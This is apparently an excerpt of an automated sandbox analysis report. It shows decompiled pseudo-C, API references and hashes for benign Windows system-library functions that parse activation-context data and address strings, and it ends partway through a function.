SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu, xrefs: 6CE6355D
SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu, xrefs: 6CE63577
SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu, xrefs: 6CE6354D
SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu, xrefs: 6CE6353D
SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!, xrefs: 6CE634F1
SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu, xrefs: 6CE6359D
SsHd, xrefs: 6CE08F1B
SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu, xrefs: 6CE6351C
SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu, xrefs: 6CE6358E

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RtlpCrackActivationContextStringSectionHeader$SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu$SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu$SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu$SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu$SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu$SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu$SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!$SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!$SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu$SsHd
API String ID: 0-1525761513
Opcode ID: f713ae18fbfd3bcb54343ab26db2f6648aecc12f6b9587f68b60186b6ee71141
Instruction ID: 93e27c4bd42660788e73b4b9bd18d213177850fd16d689c2beb67f6eebf13bd2
Opcode Fuzzy Hash: f713ae18fbfd3bcb54343ab26db2f6648aecc12f6b9587f68b60186b6ee71141
Instruction Fuzzy Hash: F041B3B0351205BFB7108B1ACC81E3777BAEB9674C735865EB414ABE11E231ED1787A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE231F0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6CE231F0(void* __ecx, void __edx, void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v12;
				void _v28;
				signed int _v32;
				void _v36;
				int _v40;
				void _v44;
				intOrPtr _v48;
				void _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t80;
				void* _t85;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t95;
				signed int _t96;
				int _t97;
				void* _t99;
				intOrPtr _t100;
				signed int _t106;
				int _t110;
				void _t120;
				void* _t125;
				signed char _t126;
				void* _t127;
				intOrPtr _t128;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				signed int _t139;
				void* _t140;
				signed int _t152;

				_t132 = __edx;
				_v12 =  *0x6cefd360 ^ _t139;
				_t135 = __ecx;
				_t136 = 0;
				_v56 = _a8;
				_t110 =  *(__ecx + 0xc);
				_v52 = __edx;
				_v60 = _a12;
				_v40 = _t110;
				if(_t110 < 0x20 ||  *((intOrPtr*)(__ecx + 4)) < 0x20) {
					_push( *((intOrPtr*)(_t135 + 4)));
					_push(_t110);
					_push(_t135);
					_push("SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu\n");
					goto L50;
				} else {
					if(__edx != 0) {
						_t82 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
							goto L25;
						} else {
							_t132 = 1;
							_t85 = E6CE9444F(_t82, 1, 0x10, _t110);
							_t86 =  *((intOrPtr*)(_t135 + 0x14));
							_push(_t110);
							if(_t85 != 0) {
								_t120 =  *(_t86 + _t135 + 4);
								_t132 = _t120;
								_v44 = _t120;
								_push(0x18);
								_v32 =  *((intOrPtr*)(_t86 + _t135 + 8));
								if(E6CE9444F( *((intOrPtr*)(_t86 + _t135 + 8)), _t120) != 0) {
									_t123 = _v32 + _t135;
									_v32 = 0;
									_v48 = _t123;
									if(_v44 <= 0) {
										goto L25;
									} else {
										_t110 = _v52;
										_v36 = _t123;
										while(1) {
											_t90 = E6CE4F380(_t110, _t123, 0x10);
											_t140 = _t140 + 0xc;
											_t91 = _v32;
											if(_t90 == 0) {
												break;
											}
											_t106 = _t91 + 1;
											_t123 = _v36 + 0x18;
											_v32 = _t106;
											_v36 = _v36 + 0x18;
											if(_t106 < _v44) {
												continue;
											} else {
												goto L25;
											}
											goto L52;
										}
										_t132 = 1;
										_t110 =  *(_v48 + 0x10 + (_t91 + _t91 * 2) * 8);
										if(E6CE9444F(_t110, 1, 0x10,  *(_t135 + 0xc)) != 0) {
											goto L4;
										} else {
											_push(_v40);
											_push(0x10);
											_push(_t110);
											E6CE95720(0x33, 0, "SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)\n", _v32);
											goto L51;
										}
									}
								} else {
									_push(_t110);
									_push(0x18);
									_push(_v44);
									E6CE95720(0x33, 0, "SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _v32);
									goto L51;
								}
							} else {
								E6CE95720(0x33, 0, "SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)\n", _t86);
								goto L51;
							}
						}
					} else {
						_t110 =  *(__ecx + 0x10);
						if(_t110 == 0) {
							L25:
							return E6CE4B640(0xc0150001, _t110, _v12 ^ _t139, _t132, _t135, _t136);
						} else {
							L4:
							_t125 = _t135 + _t110;
							if(_t125 == 0) {
								goto L25;
							} else {
								_t110 =  *(_t125 + 4);
								if(_t110 == 0) {
									goto L25;
								} else {
									_v36 =  *(_t125 + 8);
									_t95 = _t110;
									_t96 = _t95 * 0x10;
									_t152 = _t95 * 0x10 >> 0x20;
									if(_t152 < 0 || _t152 <= 0 && _t96 <= 0xffffffff) {
										_t132 =  *(_t125 + 8);
										_t137 = _t96 + _t132;
										_v48 = _t137;
										_t136 = 0;
										if(_t137 < _t96) {
											goto L47;
										} else {
											_t97 =  *(_t135 + 0xc);
											if(_t132 >= _t97 || _v48 > _t97) {
												goto L48;
											} else {
												_t126 =  *(_t125 + 0xc);
												_t99 = _t132 + _t135;
												if((_t126 & 0x00000002) == 0) {
													_t127 = 0;
													if(_t110 != 0) {
														_t132 = _a4;
														while( *_t99 != _t132) {
															_t127 = _t127 + 1;
															_t99 = _t99 + 0x10;
															if(_t127 < _t110) {
																continue;
															} else {
															}
															goto L17;
														}
														goto L16;
													}
													goto L17;
												} else {
													_t132 =  *_t99;
													_t136 = _a4;
													if(_t136 < _t132) {
														goto L25;
													} else {
														if((_t126 & 0x00000001) != 0) {
															_t136 = _t136 - _t132;
															if(_t136 >= _t110) {
																goto L25;
															} else {
																_t136 = _t99 + (_t136 << 4);
																goto L17;
															}
														} else {
															_v28 = _t136;
															_t99 = bsearch( &_v28, _t99, _t110, 0x10, 0x6ce38c30);
															_t140 = _t140 + 0x14;
															L16:
															_t136 = _t99;
															L17:
															if(_t136 == 0) {
																goto L25;
															} else {
																_t100 =  *((intOrPtr*)(_t136 + 4));
																if(_t100 == 0) {
																	goto L25;
																} else {
																	_t128 =  *((intOrPtr*)(_t136 + 8));
																	_t110 =  *(_t135 + 0xc);
																	if(_t128 > 0xffffffff) {
																		L26:
																		_push(_t110);
																		_push(_t128);
																		_push(_t100);
																		_push("SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)\n");
																		L50:
																		_push(0);
																		_push(0x33);
																		E6CE95720();
																		goto L51;
																	} else {
																		_t132 = _t128 + _t100;
																		if(_t132 < _t128 || _t100 >= _t110 || _t132 > _t110) {
																			goto L26;
																		} else {
																			 *_v56 = _t100 + _t135;
																			 *_v60 =  *((intOrPtr*)(_t136 + 8));
																			_t80 = 0;
																		}
																	}
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t132 = _v36;
										L47:
										_t97 = _v40;
										L48:
										_push(_t97);
										_push(0x10);
										_push(_t110);
										E6CE95720(0x33, 0, "SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _t132);
										L51:
										_t80 = 0xc0150003;
										L24:
										return E6CE4B640(_t80, _t110, _v12 ^ _t139, _t132, _t135, _t136);
									}
								}
							}
						}
					}
				}
				L52:
			}

0x6ce231f0
0x6ce231ff
0x6ce23205
0x6ce2320c
0x6ce2320e
0x6ce23214
0x6ce23217
0x6ce2321a
0x6ce2321d
0x6ce23223
0x6ce6d974
0x6ce6d977
0x6ce6d978
0x6ce6d979
0x00000000
0x6ce23233
0x6ce23235
0x6ce6d824
0x6ce6d829
0x00000000
0x6ce6d82f
0x6ce6d832
0x6ce6d839
0x6ce6d840
0x6ce6d843
0x6ce6d844
0x6ce6d85d
0x6ce6d861
0x6ce6d867
0x6ce6d86c
0x6ce6d86e
0x6ce6d878
0x6ce6d89f
0x6ce6d8a1
0x6ce6d8a4
0x6ce6d8aa
0x00000000
0x6ce6d8b0
0x6ce6d8b0
0x6ce6d8b3
0x6ce6d8b6
0x6ce6d8ba
0x6ce6d8bf
0x6ce6d8c4
0x6ce6d8c7
0x00000000
0x00000000
0x6ce6d8cc
0x6ce6d8cd
0x6ce6d8d0
0x6ce6d8d3
0x6ce6d8d9
0x00000000
0x6ce6d8db
0x00000000
0x6ce6d8db
0x00000000
0x6ce6d8d9
0x6ce6d8e9
0x6ce6d8f0
0x6ce6d8fd
0x00000000
0x6ce6d903
0x6ce6d903
0x6ce6d909
0x6ce6d90b
0x6ce6d916
0x00000000
0x6ce6d91b
0x6ce6d8fd
0x6ce6d87a
0x6ce6d87d
0x6ce6d87e
0x6ce6d880
0x6ce6d88d
0x00000000
0x6ce6d892
0x6ce6d846
0x6ce6d850
0x00000000
0x6ce6d855
0x6ce6d844
0x6ce2323b
0x6ce2323b
0x6ce23240
0x6ce2332c
0x6ce23341
0x6ce23246
0x6ce23246
0x6ce23246
0x6ce2324b
0x00000000
0x6ce23251
0x6ce23251
0x6ce23256
0x00000000
0x6ce2325c
0x6ce23264
0x6ce23267
0x6ce23269
0x6ce2326b
0x6ce2326d
0x6ce2327e
0x6ce23281
0x6ce23284
0x6ce23289
0x6ce2328e
0x00000000
0x6ce23294
0x6ce23294
0x6ce23299
0x00000000
0x6ce232a8
0x6ce232a8
0x6ce232ab
0x6ce232b1
0x6ce6d934
0x6ce6d938
0x6ce6d93e
0x6ce6d941
0x6ce6d949
0x6ce6d94a
0x6ce6d94f
0x00000000
0x00000000
0x6ce6d951
0x00000000
0x6ce6d94f
0x00000000
0x6ce6d941
0x00000000
0x6ce232b7
0x6ce232b7
0x6ce232b9
0x6ce232be
0x00000000
0x6ce232c0
0x6ce232c3
0x6ce6d920
0x6ce6d924
0x00000000
0x6ce6d92a
0x6ce6d92d
0x00000000
0x6ce6d92d
0x6ce232c9
0x6ce232d5
0x6ce232d9
0x6ce232de
0x6ce232e1
0x6ce232e1
0x6ce232e3
0x6ce232e5
0x00000000
0x6ce232e7
0x6ce232e7
0x6ce232ec
0x00000000
0x6ce232ee
0x6ce232ee
0x6ce232f1
0x6ce232f7
0x6ce23344
0x6ce23344
0x6ce23345
0x6ce23346
0x6ce23347
0x6ce6d97e
0x6ce6d97e
0x6ce6d980
0x6ce6d982
0x00000000
0x6ce232f9
0x6ce232f9
0x6ce232fe
0x00000000
0x6ce23308
0x6ce2330d
0x6ce23315
0x6ce23317
0x6ce23317
0x6ce232fe
0x00000000
0x6ce232f7
0x6ce232ec
0x6ce232e5
0x6ce232c3
0x6ce232be
0x6ce232b1
0x6ce23299
0x6ce6d956
0x6ce6d956
0x6ce6d959
0x6ce6d959
0x6ce6d95c
0x6ce6d95c
0x6ce6d95d
0x6ce6d95f
0x6ce6d96a
0x6ce6d98a
0x6ce6d98a
0x6ce2331c
0x6ce23329
0x6ce23329
0x6ce2326d
0x6ce23256
0x6ce2324b
0x6ce23240
0x6ce23235
0x00000000

APIs

bsearch.1105(00000001,?,00000020,00000010,6CE38C30,00000010,?,C00000E5,00000000,00000030,?,6CE08D70,00000000,?,?,00000030), ref: 6CE232D9
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes),?,?,00000010,?,C00000E5,00000000,00000030,?,6CE08D70,00000000,?,?,00000030), ref: 6CE6D850
DbgPrintEx.1105(00000033,00000000,SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes),?,00000020,00000010,00000030,00000010,?,C00000E5,00000000,00000030,?,6CE08D70,00000000,?), ref: 6CE6D96A
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu,00000001,?,?,C00000E5,00000000,00000030,?,6CE08D70,00000000,?,?,00000030,?), ref: 6CE6D982

Strings

SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes), xrefs: 6CE6D847
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6CE6D884
SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu, xrefs: 6CE6D979
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes), xrefs: 6CE6D90D
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6CE6D961
SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes), xrefs: 6CE23347

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$bsearch
String ID: SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu$SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)$SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)$SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
API String ID: 3813682011-732641482
Opcode ID: 7a1e6eec872ab74d7f8708f4cb8715cb83351286b831ac504da107368681a6c8
Instruction ID: e645ffa14354e2605cbfdc05b32ee057d0cc156545ccdad0effa962596075cf8
Opcode Fuzzy Hash: 7a1e6eec872ab74d7f8708f4cb8715cb83351286b831ac504da107368681a6c8
Instruction Fuzzy Hash: 0281F975E40209AFEB10CF59C880F9EB3B9EB48358F70412DE925A7B41D775AD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE06D10, Relevance: 21.3, APIs: 14, Instructions: 316
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6CE06D10(char* _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char** _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _t97;
				char** _t99;
				void* _t108;
				long _t115;
				void* _t118;
				char* _t120;
				char** _t121;
				long _t122;
				long _t123;
				signed int _t124;
				void* _t127;
				void* _t132;
				char* _t134;
				char** _t137;
				intOrPtr _t141;
				intOrPtr _t142;
				signed int _t143;
				char _t146;
				signed int _t151;
				char* _t153;
				intOrPtr* _t155;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				char** _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t175;
				intOrPtr _t177;
				signed int _t179;
				signed int _t180;
				void* _t182;
				void* _t189;

				_t97 = 0;
				_v32 = 0;
				_t170 = 0;
				_v5 = 0;
				_t180 = 0;
				_v28 = 0;
				_t143 = 0;
				_v24 = 0;
				_t179 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_t141 =  *_a4;
				while(_t141 != 0) {
					_t117 = _t97;
					if(_t117 != 0) {
						_t118 = _t117 - 1;
						if(_t118 != 0) {
							_t117 = _t118 == 1;
							if(_t118 == 1) {
								goto L3;
							}
							_t121 = _v20;
							_t177 = _v24;
							L27:
							if(_t177 != 1) {
								L32:
								_t142 = _a12;
								L52:
								_t153 = _v32;
								_t180 = _v12;
								if(_t153 == 0) {
									goto L28;
								}
								if(_t121 != 0) {
									if(_t180 > 3) {
										L14:
										return 0xc000000d;
									}
									_t122 = strtol(_t153, 0, 0xa);
									_t189 = _t189 + 0xc;
									if(_t122 > 0xff) {
										goto L14;
									}
									_t170 = _v20;
									 *(_t170 + _v28 * 2 + _t142 - 1) = _t122;
									L29:
									_t97 = _v24;
									L30:
									_t155 = _a4 + 1;
									_a4 = _t155;
									_t141 =  *_t155;
									_t143 = _v16;
									continue;
								}
								if(_t180 > 4) {
									goto L14;
								}
								_t123 = strtol(_t153, _t121, 0x10);
								_t189 = _t189 + 0xc;
								_t124 = _v28;
								 *((short*)(_t142 + _t124 * 2)) = _t123;
								_v28 = _t124 + 1;
							}
							L28:
							_t170 = _v20;
							goto L29;
						}
						_t185 = _t141;
						_t131 = E6CE4CB30(_t118, _t141);
						_pop(_t161);
						if(_t131 == 0 || E6CE4CC80(_t161, _t185) == 0) {
							_t132 = E6CE4CB30(_t131, _t185);
							_pop(_t162);
							if(_t132 == 0 || E6CE4CDD0(_t162, _t185) == 0) {
								if(_t141 == 0x3a) {
									if(_v20 != 0 || _t179 > 6) {
										L9:
										_t143 = _v16;
										goto L10;
									} else {
										_t134 = _a4 + 1;
										if( *_t134 != 0x3a) {
											_t177 = 0;
											L43:
											_t180 = _v12;
											_t179 = _t179 + 1;
											_t121 = _v20;
											L26:
											_v24 = _t177;
											goto L27;
										}
										_t143 = _v16;
										if(_t143 != 0) {
											L10:
											_t180 = _v12;
											break;
										}
										_t177 = 2;
										_t37 = _t179 + 1; // 0x1
										_a4 = _t134;
										_push(_t177);
										_v16 = _t37;
										_pop(1);
										goto L43;
									}
								}
								if(_t141 != 0x2e) {
									goto L9;
								}
								if(_v5 != 0) {
									goto L9;
								}
								_t137 = _v20;
								if(_t137 > 2 || _t179 > 6) {
									goto L9;
								} else {
									_t121 = _t137 + 1;
									_v20 = _t121;
									_v24 = 0;
									goto L32;
								}
							} else {
								_t170 = _v20;
								_t180 = _v12 + 1;
								_v12 = _t180;
								if(_t170 != 0) {
									_t143 = _v16;
									break;
								}
								_v5 = 1;
								goto L29;
							}
						} else {
							_t180 = _v12 + 1;
							_v12 = _t180;
							goto L28;
						}
					}
					L3:
					if(_t141 == 0x3a) {
						if(_t170 != 0 || _t179 != 0) {
							break;
						} else {
							_t120 = _a4 + 1;
							if( *_t120 != 0x3a) {
								break;
							}
							_t142 = _a12;
							_a4 = _t120;
							_t121 = _v20;
							_v16 = 1;
							_t151 = _v28;
							_t179 = 2;
							 *((short*)(_t142 + _t151 * 2)) = _t170;
							_t175 = _t179;
							_v28 = _t151 + 1;
							_v24 = _t175;
							goto L52;
						}
					}
					if(_t179 > 7) {
						break;
					}
					_t183 = _t141;
					_t126 = E6CE4CB30(_t117, _t141);
					_pop(_t156);
					if(_t126 == 0 || E6CE4CC80(_t156, _t183) == 0) {
						_t127 = E6CE4CB30(_t126, _t183);
						_pop(_t157);
						if(_t127 == 0 || E6CE4CDD0(_t157, _t183) == 0) {
							goto L9;
						} else {
							_t121 = _v20;
							if(_t121 != 0) {
								goto L9;
							}
							_v5 = 1;
							_t177 = 1;
							_v32 = _a4;
							_t180 = 1;
							_v12 = 1;
							goto L26;
						}
					} else {
						_t170 = _v20;
						_v32 = _a4;
						_t97 = 1;
						_v5 = 0;
						_t180 = 1;
						_v24 = 1;
						_v12 = 1;
						goto L30;
					}
				}
				 *_a8 = _a4;
				_t99 = _v20;
				if(_t99 != 0) {
					if(_t99 != 3) {
						goto L14;
					}
					_t179 = _t179 + 1;
				}
				if(_t143 != 0 || _t179 == 7) {
					_t172 = _v24;
					if(_t172 != 1) {
						if(_t172 != 2) {
							goto L14;
						}
						_t173 = _a12;
						 *((short*)(_t173 + _v28 * 2)) = 0;
						L73:
						if(_t143 != 0) {
							_t182 = _t173 + _t143 * 2;
							memmove(_t173 + (_t143 - _t179 + 8) * 2, _t182, _t179 - _t143 + _t179 - _t143);
							_t108 = 8;
							memset(_t182, 0, _t108 - _t179 + _t108 - _t179);
						}
						return 0;
					}
					if(_t99 != 0) {
						if(_t180 > 3) {
							goto L14;
						}
						_t146 = strtol(_v32, 0, 0xa);
						_t189 = _t189 + 0xc;
						if(_t146 > 0xff) {
							goto L14;
						}
						_t173 = _a12;
						 *((char*)(_v20 + _v28 * 2 + _t173)) = _t146;
						L70:
						_t143 = _v16;
						goto L73;
					}
					if(_t180 > 4) {
						goto L14;
					}
					_t115 = strtol(_v32, _t99, 0x10);
					_t173 = _a12;
					_t189 = _t189 + 0xc;
					 *((short*)(_t173 + _v28 * 2)) = _t115;
					goto L70;
				} else {
					goto L14;
				}
			}

0x6ce06d1c
0x6ce06d1e
0x6ce06d21
0x6ce06d23
0x6ce06d26
0x6ce06d28
0x6ce06d2b
0x6ce06d2d
0x6ce06d31
0x6ce06d33
0x6ce06d39
0x6ce06d3c
0x6ce06d3f
0x6ce06d41
0x6ce06d45
0x6ce06d48
0x6ce06dc7
0x6ce06dca
0x6ce61e50
0x6ce61e53
0x00000000
0x00000000
0x6ce61e59
0x6ce61e5c
0x6ce06e3b
0x6ce06e3e
0x6ce06e60
0x6ce06e60
0x6ce61f34
0x6ce61f34
0x6ce61f37
0x6ce61f3c
0x00000000
0x00000000
0x6ce61f44
0x6ce61f90
0x6ce06db9
0x00000000
0x6ce06db9
0x6ce61f9b
0x6ce61fa0
0x6ce61fa8
0x00000000
0x00000000
0x6ce61fae
0x6ce61fb7
0x6ce06e43
0x6ce06e43
0x6ce06e46
0x6ce06e49
0x6ce06e4a
0x6ce06e4d
0x6ce06e4f
0x00000000
0x6ce06e4f
0x6ce61f49
0x00000000
0x00000000
0x6ce61f53
0x6ce61f5a
0x6ce61f5f
0x6ce61f62
0x6ce61f67
0x6ce61f67
0x6ce06e40
0x6ce06e40
0x00000000
0x6ce06e40
0x6ce06dd0
0x6ce06dd4
0x6ce06dd9
0x6ce06ddc
0x6ce06dea
0x6ce06def
0x6ce06df2
0x6ce06e06
0x6ce61e83
0x6ce06d8f
0x6ce06d8f
0x00000000
0x6ce61e92
0x6ce61e95
0x6ce61e99
0x6ce61eb8
0x6ce61ebb
0x6ce61ebb
0x6ce61ebe
0x6ce61ec0
0x6ce06e38
0x6ce06e38
0x00000000
0x6ce06e38
0x6ce61e9b
0x6ce61ea0
0x6ce06d92
0x6ce06d92
0x00000000
0x6ce06d92
0x6ce61ea8
0x6ce61ea9
0x6ce61eac
0x6ce61eaf
0x6ce61eb0
0x6ce61eb3
0x00000000
0x6ce61eb3
0x6ce61e83
0x6ce06e0f
0x00000000
0x00000000
0x6ce61ecc
0x00000000
0x00000000
0x6ce61ed2
0x6ce61ed8
0x00000000
0x6ce61ee7
0x6ce61ee7
0x6ce61eea
0x6ce61eed
0x00000000
0x6ce61eed
0x6ce61e64
0x6ce61e67
0x6ce61e6a
0x6ce61e6b
0x6ce61e70
0x6ce61fc0
0x00000000
0x6ce61fc0
0x6ce61e76
0x00000000
0x6ce61e76
0x6ce06e57
0x6ce06e5a
0x6ce06e5b
0x00000000
0x6ce06e5b
0x6ce06ddc
0x6ce06d4a
0x6ce06d4d
0x6ce61ef7
0x00000000
0x6ce61f05
0x6ce61f08
0x6ce61f0c
0x00000000
0x00000000
0x6ce61f12
0x6ce61f18
0x6ce61f1b
0x6ce61f1e
0x6ce61f21
0x6ce61f26
0x6ce61f28
0x6ce61f2d
0x6ce61f2e
0x6ce61f31
0x00000000
0x6ce61f31
0x6ce61ef7
0x6ce06d56
0x00000000
0x00000000
0x6ce06d58
0x6ce06d5c
0x6ce06d61
0x6ce06d64
0x6ce06d76
0x6ce06d7b
0x6ce06d7e
0x00000000
0x6ce06e1a
0x6ce06e1a
0x6ce06e1f
0x00000000
0x00000000
0x6ce06e2c
0x6ce06e30
0x6ce06e31
0x6ce06e34
0x6ce06e35
0x00000000
0x6ce06e35
0x6ce61f6f
0x6ce61f74
0x6ce61f77
0x6ce61f7c
0x6ce61f7d
0x6ce61f81
0x6ce61f82
0x6ce61f85
0x00000000
0x6ce61f85
0x6ce06d64
0x6ce06d9b
0x6ce06d9d
0x6ce06da2
0x6ce61fcb
0x00000000
0x00000000
0x6ce61fd1
0x6ce61fd1
0x6ce06daa
0x6ce61fd7
0x6ce61fdd
0x6ce62047
0x00000000
0x00000000
0x6ce6204d
0x6ce62055
0x6ce62059
0x6ce6205b
0x6ce6205d
0x6ce62071
0x6ce62078
0x6ce62081
0x6ce62086
0x00000000
0x6ce62089
0x6ce61fe1
0x6ce6200d
0x00000000
0x00000000
0x6ce6201f
0x6ce62021
0x6ce6202a
0x00000000
0x00000000
0x6ce62039
0x6ce6203c
0x6ce6203f
0x6ce6203f
0x00000000
0x6ce6203f
0x6ce61fe6
0x00000000
0x00000000
0x6ce61ff2
0x6ce61ff7
0x6ce61ffe
0x6ce62004
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6CE06D5C
isdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6CE06D67
__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6CE06D76
isxdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6CE06D81
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6CE06DD4
isdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6CE06DDF
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6CE06DEA
isxdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6CE06DF5
strtol.1105(?,00000000,00000010,?,?,00000000,?,00000000,?,00000000), ref: 6CE61F53

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: __isascii$isdigitisxdigit$strtol
String ID:
API String ID: 2731936382-0
Opcode ID: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction ID: 337a41291f2b75597d0f78207d9f54e3c8c335f38b8e36123320889ecf4b9af6
Opcode Fuzzy Hash: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction Fuzzy Hash: 84B1B271F4421A9BDB05DFA9D851BAEB7B9AF46308F348029DC40EBB40D7309A92C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE04360, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6CE04360(signed int _a4, unsigned int _a8) {
				void* _v4;
				signed int _v8;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t43;
				signed char _t46;
				signed int _t67;
				signed int _t69;
				void* _t70;
				signed int _t79;
				signed int _t82;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t86;
				signed int _t87;
				signed int _t89;

				_t89 = (_t87 & 0xfffffff8) - 0x5c;
				_t40 =  *0x6cefd360 ^ _t89;
				_v8 =  *0x6cefd360 ^ _t89;
				_push(_t85);
				if((_a4 & 0xfffffffe) != 0) {
					_push(_a4);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid flags 0x%08lx\n");
					L17:
					_push(0);
					_push(0x33);
					E6CE95720();
					_t89 = _t89 + 0x14;
					L19:
					_push(0xc000000d);
					L21:
					L6CE5DF30(_t71, _t80);
					L22:
					_t82 =  *_t85;
					_t71 = 0;
					if(_t82 == 0) {
						_t43 = 0;
					} else {
						asm("sbb eax, eax");
